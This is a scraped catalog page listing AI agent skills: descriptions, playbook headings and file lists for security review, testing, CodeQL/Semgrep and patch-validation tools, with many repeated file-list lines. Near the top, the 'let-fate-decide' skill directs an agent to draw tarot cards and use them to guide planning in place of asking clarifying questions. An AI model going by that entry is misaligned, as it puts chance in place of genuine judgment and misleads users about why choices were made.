SKILL.mdcore6,171 bytesagents/openai.yamlasset185 bytesscripts/format_goal_prompt.pyruns3,620 bytesscripts/test_format_goal_prompt.pyruns3,331 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHublet-fate-decide
When your agent uses it
Draws the 12 Houses of the Zodiac Tarot spread to inject entropy into planning when prompts are vague, ambiguous, or casually delegated. Interprets the spread to guide next steps. Use when the user says 'let fate decide', 'YOLO', 'whatever', 'idk', or other nonchalant phrases, makes Yu-Gi-Oh references, or when you are about to arbitrarily pick between multiple reasonable approaches. Prefer over asking clarifying questions when the user's tone is casual or playful rather than precision-seeking.
What it loads into context
Frontmatter
126 tokensAlways available to the agent
SKILL.md
2,352 tokensWhen the skill is activated
Reference documents
15,599 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Quick Start
- When to Use
- When NOT to Use
- Security and Correctness Use
- How It Works
- Example Session (House-Level Fragment)
- Error Handling
- Rationalizations to Reject
Scripts executed separately
scripts/draw_cards.pyscripts/test_draw_cards.py
Files
SKILL.mdcore10,235 bytesSKILL.mdcore10,235 bytesSKILL.mdcore10,235 bytesSKILL.mdcore10,235 bytesagents/openai.yamlasset236 bytesassets/trail-of-bits-mark.svgasset3,084 bytescards/cups/ace-of-cups.mddoc627 bytescards/cups/eight-of-cups.mddoc666 bytescards/cups/five-of-cups.mddoc603 bytescards/cups/four-of-cups.mddoc607 bytescards/cups/king-of-cups.mddoc511 bytescards/cups/knight-of-cups.mddoc478 bytescards/cups/nine-of-cups.mddoc634 bytescards/cups/page-of-cups.mddoc518 bytescards/cups/queen-of-cups.mddoc502 bytescards/cups/seven-of-cups.mddoc497 bytescards/cups/six-of-cups.mddoc496 bytescards/cups/ten-of-cups.mddoc536 bytescards/cups/three-of-cups.mddoc482 bytescards/cups/two-of-cups.mddoc500 bytescards/major/00-the-fool.mddoc563 bytescards/major/01-the-magician.mddoc648 bytescards/major/02-the-high-priestess.mddoc710 bytescards/major/03-the-empress.mddoc645 bytescards/major/04-the-emperor.mddoc651 bytescards/major/05-the-hierophant.mddoc685 bytescards/major/06-the-lovers.mddoc715 bytescards/major/07-the-chariot.mddoc704 bytescards/major/08-strength.mddoc689 bytescards/major/09-the-hermit.mddoc644 bytescards/major/10-wheel-of-fortune.mddoc723 bytescards/major/11-justice.mddoc664 bytescards/major/12-the-hanged-man.mddoc709 bytescards/major/13-death.mddoc702 bytescards/major/14-temperance.mddoc706 bytescards/major/15-the-devil.mddoc699 bytescards/major/16-the-tower.mddoc723 bytescards/major/17-the-star.mddoc653 bytescards/major/18-the-moon.mddoc759 bytescards/major/19-the-sun.mddoc722 bytescards/major/20-judgement.mddoc701 bytescards/major/21-the-world.mddoc731 bytescards/pentacles/ace-of-pentacles.mddoc458 bytescards/pentacles/eight-of-pentacles.mddoc486 bytescards/pentacles/five-of-pentacles.mddoc427 bytescards/pentacles/four-of-pentacles.mddoc436 bytescards/pentacles/king-of-pentacles.mddoc459 bytescards/pentacles/knight-of-pentacles.mddoc471 bytescards/pentacles/nine-of-pentacles.mddoc447 bytescards/pentacles/page-of-pentacles.mddoc465 bytescards/pentacles/queen-of-pentacles.mddoc452 bytescards/pentacles/seven-of-pentacles.mddoc461 bytescards/pentacles/six-of-pentacles.mddoc428 bytescards/pentacles/ten-of-pentacles.mddoc459 bytescards/pentacles/three-of-pentacles.mddoc468 bytescards/pentacles/two-of-pentacles.mddoc448 bytescards/swords/ace-of-swords.mddoc477 bytescards/swords/eight-of-swords.mddoc508 bytescards/swords/five-of-swords.mddoc498 bytescards/swords/four-of-swords.mddoc453 bytescards/swords/king-of-swords.mddoc518 bytescards/swords/knight-of-swords.mddoc615 bytescards/swords/nine-of-swords.mddoc597 bytescards/swords/page-of-swords.mddoc504 bytescards/swords/queen-of-swords.mddoc517 bytescards/swords/seven-of-swords.mddoc495 bytescards/swords/six-of-swords.mddoc494 bytescards/swords/ten-of-swords.mddoc612 bytescards/swords/three-of-swords.mddoc457 bytescards/swords/two-of-swords.mddoc497 bytescards/wands/ace-of-wands.mddoc461 bytescards/wands/eight-of-wands.mddoc443 bytescards/wands/five-of-wands.mddoc482 bytescards/wands/four-of-wands.mddoc461 bytescards/wands/king-of-wands.mddoc467 bytescards/wands/knight-of-wands.mddoc547 bytescards/wands/nine-of-wands.mddoc414 bytescards/wands/page-of-wands.mddoc449 bytescards/wands/queen-of-wands.mddoc466 bytescards/wands/seven-of-wands.mddoc525 bytescards/wands/six-of-wands.mddoc587 bytescards/wands/ten-of-wands.mddoc438 bytescards/wands/three-of-wands.mddoc464 bytescards/wands/two-of-wands.mddoc445 byteshouses/01-first-house.mddoc1,448 byteshouses/02-second-house.mddoc1,550 byteshouses/03-third-house.mddoc1,350 byteshouses/04-fourth-house.mddoc1,637 byteshouses/05-fifth-house.mddoc1,548 byteshouses/06-sixth-house.mddoc1,366 byteshouses/07-seventh-house.mddoc1,344 byteshouses/08-eighth-house.mddoc1,737 byteshouses/09-ninth-house.mddoc1,475 byteshouses/10-tenth-house.mddoc1,432 byteshouses/11-eleventh-house.mddoc1,521 byteshouses/12-twelfth-house.mddoc1,654 bytesreferences/INTERPRETATION_GUIDE.mddoc7,334 bytesreferences/TECHNICAL_CONTEXT_LENSES.mddoc4,722 bytesscripts/draw_cards.pyruns9,511 bytesscripts/pyproject.tomlasset144 bytesscripts/test_draw_cards.pyruns14,426 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmodern-cpp
When your agent uses it
Guides C++ code toward modern idioms (C++20/23/26). Use when writing new C++ code, modernizing legacy patterns, or working on security-critical C++. Replaces raw pointers with smart pointers, SFINAE with concepts, printf with std::print, error codes with std::expected.
What it loads into context
Frontmatter
72 tokensAlways available to the agent
SKILL.md
2,311 tokensWhen the skill is activated
Reference documents
11,341 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- When NOT to Use This Skill
- Anti-Patterns to Avoid
- Decision Tree
- Feature Tiers
- Compiler Hardening Quick Reference
- Rationalizations to Reject
- Best Practices Checklist
- Read Next
Files
SKILL.mdcore8,656 bytesreferences/anti-patterns.mddoc5,630 bytesreferences/compiler-hardening.mddoc7,471 bytesreferences/cpp20-features.mddoc7,138 bytesreferences/cpp23-features.mddoc7,150 bytesreferences/cpp26-features.mddoc7,696 bytesreferences/safe-idioms.mddoc8,316 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmodern-python
When your agent uses it
Configures Python projects with modern tooling (uv, ruff, ty). Use when creating projects, writing standalone scripts, or migrating from pip/Poetry/mypy/black.
What it loads into context
Frontmatter
43 tokensAlways available to the agent
SKILL.md
2,658 tokensWhen the skill is activated
Reference documents
11,383 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use This Skill
- When NOT to Use This Skill
- Anti-Patterns to Avoid
- Decision Tree
- Tool Overview
- Quick Start: Minimal Project
- Full Project Setup
- Migration Guide
- Quick Reference: uv Commands
- Quick Reference: Dependency Groups
- Best Practices Checklist
- Read Next
Files
SKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesSKILL.mdcore10,015 bytesagents/openai.yamlasset226 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/dependabot.mddoc1,800 bytesreferences/migration-checklist.mddoc3,071 bytesreferences/pep723-scripts.mddoc5,134 bytesreferences/prek.mddoc5,951 bytesreferences/pyproject.mddoc5,694 bytesreferences/ruff-config.mddoc5,476 bytesreferences/security-setup.mddoc6,504 bytesreferences/testing.mddoc5,214 bytesreferences/uv-commands.mddoc4,653 bytestemplates/dependabot.ymlasset958 bytestemplates/pre-commit-config.yamlasset2,259 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubmutation-testing
When your agent uses it
Configures mewt or muton campaigns, analyzes surviving mutants, and investigates bugs exposed by testing gaps. Use when setting up mutation testing, reviewing campaign results, identifying equivalent mutants, or finding bugs from surviving mutations.
What it loads into context
Frontmatter
59 tokensAlways available to the agent
SKILL.md
1,422 tokensWhen the skill is activated
Reference documents
13,579 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Routing
- Essential Commands
- What Results Mean
- Interpreting Mutation Types
Files
SKILL.mdcore6,225 bytesSKILL.mdcore6,225 bytesSKILL.mdcore6,225 bytesSKILL.mdcore6,225 bytesagents/openai.yamlasset243 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/blockchain-patterns.mddoc4,864 bytesreferences/equivalent-mutants.mddoc7,165 bytesreferences/input-formats.mddoc2,490 bytesreferences/optimization-strategies.mddoc8,882 bytesreferences/report-template.mddoc4,426 bytesreferences/severity-classification.mddoc6,066 bytesworkflows/analyzing-results.mddoc6,843 bytesworkflows/bug-hunter.mddoc7,591 bytesworkflows/configuration.mddoc11,531 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubopen-sourcing
When your agent uses it
This skill should be used when the user asks to "open source this project", "prepare this repository for public release", "make this repo public", "check open-source readiness", "choose a license for this project", or "set up release automation" ahead of a public launch. Provides a release-readiness workflow covering secrets hygiene, licensing, documentation, CI, and language-specific packaging.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
2,362 tokensWhen the skill is activated
Reference documents
5,731 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Workflow
- Final Review
- Additional Resources
Scripts executed separately
scripts/check_readiness.shscripts/detect_org.sh
Files
SKILL.mdcore10,454 bytesSKILL.mdcore10,454 bytesSKILL.mdcore10,454 bytesSKILL.mdcore10,454 bytesSKILL.mdcore10,454 bytesSKILL.mdcore10,454 bytesreferences/c-cpp.mddoc2,446 bytesreferences/go.mddoc2,441 bytesreferences/javascript.mddoc1,536 bytesreferences/licensing.mddoc4,400 bytesreferences/python.mddoc5,096 bytesreferences/ruby.mddoc1,254 bytesreferences/rust.mddoc2,398 bytesreferences/trailofbits.mddoc3,694 bytesscripts/check_readiness.shruns2,487 bytesscripts/detect_org.shruns741 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubimplement-patch
When your agent uses it
Use when a confirmed local bug needs an invariant-level fix, variant search, tests, and one local commit.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
729 tokensWhen the skill is activated
Reference documents
2,828 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Procedure
- Rationalizations to Reject
Scripts executed separately
../../scripts/records.py
Files
../../references/records.mddoc13,082 bytes../../schemas/patch.schema.jsonasset2,763 bytes../../scripts/records.pyruns13,380 bytesSKILL.mdcore3,067 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpatching-bugs
When your agent uses it
Use when a known bug or falsifiable bug hypothesis in a local codebase needs a patch commit and reviewable proof report.
What it loads into context
Frontmatter
34 tokensAlways available to the agent
SKILL.md
1,684 tokensWhen the skill is activated
Reference documents
2,828 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Workflow
- Rationalizations to Reject
Scripts executed separately
../../scripts/records.py../../scripts/render.py
Files
../../references/records.mddoc13,082 bytes../../schemas/finding.schema.jsonasset3,041 bytes../../schemas/regression.schema.jsonasset1,205 bytes../../schemas/report-input.schema.jsonasset2,083 bytes../../schemas/run.schema.jsonasset1,908 bytes../../scripts/records.pyruns13,380 bytes../../scripts/render.pyruns10,714 bytesSKILL.mdcore7,224 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprove-patch
When your agent uses it
Use when a local security patch commit needs independent scoped and three-arm proof.
What it loads into context
Frontmatter
23 tokensAlways available to the agent
SKILL.md
1,084 tokensWhen the skill is activated
Reference documents
2,828 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
Scripts executed separately
../../scripts/arms.py../../scripts/native_proof.py../../scripts/records.py
Files
../../references/records.mddoc13,082 bytes../../schemas/prove.schema.jsonasset7,313 bytes../../scripts/arms.pyruns9,499 bytes../../scripts/native_proof.pyruns11,956 bytes../../scripts/records.pyruns13,380 bytesSKILL.mdcore4,476 bytesSKILL.mdcore4,476 bytesSKILL.mdcore4,476 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreproduce-bug
When your agent uses it
Use when a named runtime or compiler bug in a local repository needs independent reproduction.
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
683 tokensWhen the skill is activated
Reference documents
2,828 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Procedure
- Rationalizations to Reject
Scripts executed separately
../../scripts/records.py
Files
../../references/records.mddoc13,082 bytes../../schemas/reproduce.schema.jsonasset1,287 bytes../../scripts/records.pyruns13,380 bytesSKILL.mdcore2,899 bytesSKILL.mdcore2,899 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubvalidate-bug
When your agent uses it
Use when a bug PoC package needs an independent rerun and judgment before patching.
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
451 tokensWhen the skill is activated
Reference documents
2,828 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Procedure
- Rationalizations to Reject
Scripts executed separately
../../scripts/records.py
Files
../../references/records.mddoc13,082 bytes../../schemas/validate.schema.jsonasset510 bytes../../scripts/records.pyruns13,380 bytesSKILL.mdcore1,934 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubpost-patch-validation
When your agent uses it
Validates security patches with reproducible baseline-versus-patched evidence, including original exploits, root-cause variants, behavior preservation, regressions, and newly introduced security failures. Use after a patch exists and before accepting, merging, or reporting it as fixed; also use when an AI-generated patch, remediation commit, pull request, or proposed upstream fix needs adversarial post-patch validation across any language.
What it loads into context
Frontmatter
110 tokensAlways available to the agent
SKILL.md
3,305 tokensWhen the skill is activated
Reference documents
2,458 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Quick Start
- Evidence Contract
- Coverage Rules
- Reading the result
- Claude Dynamic Workflow
- Rationalizations to Reject
Scripts executed separately
scripts/post_patch_validation.py
Files
SKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesSKILL.mdcore15,336 bytesagents/openai.yamlasset244 bytesreferences/evidence-model.mddoc12,305 bytesscripts/post_patch_validation.pyruns78,163 bytesscripts/pyproject.tomlasset116 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubproperty-based-testing
When your agent uses it
Writes, reviews, and debugs property-based tests — Hypothesis, fast-check, proptest, jqwik, rapid, and Echidna or Medusa for Solidity invariants. Use whenever tests should cover a whole input domain instead of a hand-picked list of examples: encode/decode and serialize/deserialize pairs, parsers, canonicalizers and normalizers, validators, numeric and Decimal types, comparators and sort order, data structures, and smart-contract state invariants. Also use when adding cases to an existing @given, fast-check, or proptest suite, when judging whether existing property tests assert anything real, and when a generator has shrunk a counterexample and you need to tell a wrong property from a genuine bug. Not for coverage-guided binary fuzzing (libFuzzer, AFL), mutation-testing campaigns, static analysis, benchmarking, or end-to-end UI tests.
What it loads into context
Frontmatter
193 tokensAlways available to the agent
SKILL.md
997 tokensWhen the skill is activated
Reference documents
7,610 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Property catalog
- The two ways a property test asserts nothing
- Where to look next
- Introducing PBT to a project that lacks it
Files
README.mddoc15,332 bytesSKILL.mdcore4,306 bytesagents/openai.yamlasset254 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/generating.mddoc2,634 bytesreferences/interpreting-failures.mddoc3,426 bytesreferences/libraries.mddoc2,952 bytesreferences/refactoring.mddoc4,854 bytesreferences/reviewing.mddoc2,859 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubadjudicate-regression
When your agent uses it
Use when deciding whether source and live reproduction evidence establish a new regression or an exclusion.
What it loads into context
Frontmatter
26 tokensAlways available to the agent
SKILL.md
533 tokensWhen the skill is activated
Reference documents
4,776 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Decide
- Report Back
- Rationalizations to Reject
Files
../../docs/regression-definition.mddoc3,718 bytes../../docs/report-definitions.mddoc2,538 bytes../../references/evidence.mddoc16,272 bytesSKILL.mdcore2,643 bytesSKILL.mdcore2,643 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubhunt-regressions
When your agent uses it
Use when discovering possible regressions from a pinned change and its callers before reproduction.
What it loads into context
Frontmatter
25 tokensAlways available to the agent
SKILL.md
426 tokensWhen the skill is activated
Reference documents
4,286 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Hunt
- Report Back
- Rationalizations to Reject
Scripts executed separately
../../scripts/registry.py
Files
../../docs/regression-definition.mddoc3,718 bytes../../references/evidence.mddoc16,272 bytes../../scripts/registry.pyruns23,690 bytesSKILL.mdcore2,091 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubprepare-regression
When your agent uses it
Use when pinning before/after sources and collecting PR or commit context for a regression investigation.
What it loads into context
Frontmatter
27 tokensAlways available to the agent
SKILL.md
443 tokensWhen the skill is activated
Reference documents
4,286 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Prepare
- Report Back
- Rationalizations to Reject
Scripts executed separately
../../scripts/snapshot.py
Files
../../docs/regression-definition.mddoc3,718 bytes../../references/evidence.mddoc16,272 bytes../../scripts/snapshot.pyruns6,903 bytesSKILL.mdcore2,059 bytesSKILL.mdcore2,059 bytesSKILL.mdcore2,059 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubregression-hunt
When your agent uses it
Use when investigating regressions in PRs or commits, coordinating a regression campaign, or resuming saved progress.
What it loads into context
Frontmatter
30 tokensAlways available to the agent
SKILL.md
999 tokensWhen the skill is activated
Reference documents
7,002 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Coordinate
- Resume
- Report Back
- Rationalizations to Reject
Scripts executed separately
../../scripts/registry.py
Files
../../docs/regression-definition.mddoc3,718 bytes../../references/evidence.mddoc16,272 bytes../../scripts/registry.pyruns23,690 bytes../adjudicate-regression/SKILL.mddoc2,643 bytes../hunt-regressions/SKILL.mddoc2,091 bytes../prepare-regression/SKILL.mddoc2,059 bytesSKILL.mdcore4,727 bytesSKILL.mdcore4,727 bytesagents/openai.yamlasset263 bytes../replay-regression/SKILL.mddoc2,003 bytes../report-regressions/SKILL.mddoc2,381 bytes../reproduce-regression/SKILL.mddoc2,125 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreplay-regression
When your agent uses it
Use when independently verifying a supplied PoC against fresh live before/after deployments.
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
404 tokensWhen the skill is activated
Reference documents
4,286 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Replay
- Report Back
- Rationalizations to Reject
Files
../../docs/regression-definition.mddoc3,718 bytes../../references/evidence.mddoc16,272 bytesSKILL.mdcore2,003 bytesSKILL.mdcore2,003 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreport-regressions
When your agent uses it
Use when assembling or refreshing an evidence-linked regression report from saved campaign decisions.
What it loads into context
Frontmatter
24 tokensAlways available to the agent
SKILL.md
480 tokensWhen the skill is activated
Reference documents
4,776 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Report
- Report Back
- Rationalizations to Reject
Scripts executed separately
../../scripts/report.py
Files
../../docs/regression-definition.mddoc3,718 bytes../../docs/report-definitions.mddoc2,538 bytes../../references/evidence.mddoc16,272 bytes../../scripts/report.pyruns16,096 bytesSKILL.mdcore2,381 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreproduce-regression
When your agent uses it
Use when deploying before/after systems and building a live-system PoC for a regression candidate.
What it loads into context
Frontmatter
27 tokensAlways available to the agent
SKILL.md
430 tokensWhen the skill is activated
Reference documents
4,286 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Reproduce
- Report Back
- Rationalizations to Reject
Files
../../docs/regression-definition.mddoc3,718 bytes../../references/evidence.mddoc16,272 bytesSKILL.mdcore2,125 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubreview-walkthrough
When your agent uses it
Generates an interactive HTML walkthrough for reviewing code changes. Use only when explicitly called.
What it loads into context
Frontmatter
32 tokensAlways available to the agent
SKILL.md
1,544 tokensWhen the skill is activated
Reference documents
0 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Capture the branch diff
- Shape the review
- Render the artifact
Scripts executed separately
scripts/render_walkthrough.py
Files
SKILL.mdcore6,749 bytesSKILL.mdcore6,749 bytesSKILL.mdcore6,749 bytesagents/openai.yamlasset234 bytesscripts/pyproject.tomlasset110 bytesscripts/render_walkthrough.pyruns10,195 bytestemplate.htmlasset56,037 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubrust-review
When your agent uses it
Performs comprehensive Rust security review for safe/unsafe boundary issues, memory safety in unsafe blocks, concurrency hazards, panic-induced DoS, FFI safety, and async runtime mistakes. Use when auditing Rust crates, services, or libraries — particularly those with `unsafe`, FFI, or concurrent code.
What it loads into context
Frontmatter
84 tokensAlways available to the agent
SKILL.md
11,291 tokensWhen the skill is activated
Reference documents
4,172 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Subagents
- Architecture
- Rationalizations to Reject
- Orchestration Workflow
- Finding file frontmatter — three stages
- Bug classes / clusters
- Success Criteria
Files
../../prompts/clusters/unsafe-boundary.mddoc15,998 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytesSKILL.mdcore44,520 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsecond-opinion
When your agent uses it
Gets independent code reviews from Codex or Antigravity for uncommitted changes, branch diffs, and commits. Use when the user requests an external review, a second opinion on code, a codex review, a gemini review, an antigravity review, or /second-opinion.
What it loads into context
Frontmatter
81 tokensAlways available to the agent
SKILL.md
1,078 tokensWhen the skill is activated
Reference documents
2,695 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Review choices
- Input preparation
- Provider references
- Results and failures
- Examples
Files
SKILL.mdcore5,046 bytesagents/openai.yamlasset226 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/antigravity-invocation.mddoc2,229 bytesreferences/codex-invocation.mddoc2,925 bytesreferences/codex-review-schema.jsonasset2,243 bytesreferences/gemini-invocation.mddoc2,374 bytesreferences/review-input.mddoc4,344 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsemgrep-rule-creator
When your agent uses it
Creates custom Semgrep rules for detecting security vulnerabilities, bug patterns, and code patterns. Use when writing Semgrep rules or building custom static analysis detections.
What it loads into context
Frontmatter
53 tokensAlways available to the agent
SKILL.md
1,734 tokensWhen the skill is activated
Reference documents
3,351 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Rationalizations to Reject
- Anti-Patterns
- Strictness Level
- Overview
- Quick Start
- Quick Reference
- Workflow
- Documentation
Files
SKILL.mdcore7,320 bytesSKILL.mdcore7,320 bytesSKILL.mdcore7,320 bytesagents/openai.yamlasset249 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/quick-reference.mddoc5,648 bytesreferences/workflow.mddoc7,725 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsemgrep-rule-variant-creator
When your agent uses it
Creates language variants of existing Semgrep rules. Use when porting a Semgrep rule to specified target languages. Takes an existing rule and target languages as input, produces independent rule+test directories for each language.
What it loads into context
Frontmatter
67 tokensAlways available to the agent
SKILL.md
3,099 tokensWhen the skill is activated
Reference documents
4,988 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Run it as a workflow
- The four phases
- Output
- Scope and reporting
- Rationalizations to Reject
- Quick Reference
- Documentation
Files
SKILL.mdcore13,841 bytesSKILL.mdcore13,841 bytesagents/openai.yamlasset254 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/applicability-analysis.mddoc10,259 bytesreferences/language-syntax-guide.mddoc7,509 bytesreferences/workflow.mddoc3,970 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubsharp-edges
When your agent uses it
Identifies error-prone APIs, dangerous configurations, and footgun designs that enable security mistakes. Use when reviewing API designs, configuration schemas, cryptographic library ergonomics, or evaluating whether code follows 'secure by default' and 'pit of success' principles. Triggers: footgun, misuse-resistant, secure defaults, API usability, dangerous configuration.
What it loads into context
Frontmatter
86 tokensAlways available to the agent
SKILL.md
2,582 tokensWhen the skill is activated
Reference documents
30,184 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Agent
- Core Principle
- Rationalizations to Reject
- Sharp Edge Categories
- Analysis Workflow
- Severity Classification
- References
- Quality Checklist
Files
SKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesSKILL.mdcore11,814 bytesagents/openai.yamlasset239 bytesassets/trail-of-bits-mark.svgasset3,084 bytesreferences/auth-patterns.mddoc6,999 bytesreferences/case-studies.mddoc8,143 bytesreferences/config-patterns.mddoc9,729 bytesreferences/crypto-apis.mddoc5,275 bytesreferences/lang-c.mddoc5,683 bytesreferences/lang-csharp.mddoc7,324 bytesreferences/lang-go.mddoc6,661 bytesreferences/lang-java.mddoc6,820 bytesreferences/lang-javascript.mddoc6,933 bytesreferences/lang-kotlin.mddoc6,751 bytesreferences/lang-php.mddoc6,179 bytesreferences/lang-python.mddoc6,616 bytesreferences/lang-ruby.mddoc6,213 bytesreferences/lang-rust.mddoc6,545 bytesreferences/lang-swift.mddoc6,252 bytesreferences/language-specific.mddoc13,267 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubspec-to-code-compliance
When your agent uses it
Check code against the documentation that specifies it - which requirements hold, which the code contradicts, which are absent, and what the code does that no document mentions. Use when comparing an implementation against a whitepaper, protocol spec, or design document.
What it loads into context
Frontmatter
69 tokensAlways available to the agent
SKILL.md
1,628 tokensWhen the skill is activated
Reference documents
3,665 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- When to Use
- When NOT to Use
- Do not check requirements in this context
- What comes back, and how to read it
- Judgment the workflow does not make for you
- The target does not have to be a contract
- Reference
Files
SKILL.mdcore7,547 bytesagents/openai.yamlasset252 bytesassets/trail-of-bits-mark.svgasset3,084 bytesresources/ANALYSIS_FORMAT.mddoc2,855 bytesresources/DIVERGENCE_RUBRIC.mddoc3,421 bytesresources/DOMAIN_NOTES.mddoc5,810 bytesresources/WORKED_EXAMPLE.mddoc4,238 bytes
No excerpt is shown for this license. Read the source on GitHub.
View the complete source on GitHubcodeql
When your agent uses it
Scans a codebase for security vulnerabilities using CodeQL's interprocedural data flow and taint tracking analysis. Triggers on "run codeql", "codeql scan", "build codeql database", "SAST scan", "taint analysis", "dataflow analysis", or "find vulnerabilities in this repo". Covers Python, JavaScript/TypeScript, Go, Java/Kotlin, C/C++, C#, Ruby, and Swift. Supports "run all" (security-and-quality + security-experimental) and "important only" (high-precision) scan modes, and creates data extension models for project-specific sources and sinks. For fast single-file pattern matching, or when no build is available for a compiled language, use the semgrep skill; to parse SARIF that already exists rather than produce it, use the sarif-parsing skill.
What it loads into context
Frontmatter
217 tokensAlways available to the agent
SKILL.md
4,305 tokensWhen the skill is activated
Reference documents
26,107 tokensLoaded on request
Token counts are estimates. Scripts run separately; they are not counted as reference context.
The playbook
- Essential Principles
- Each Bash call is a fresh shell
- Output Directory
- Quick Start
- Rationalizations to Reject
- Workflow Selection
- Reference Index
- Success Criteria
Scripts executed separately
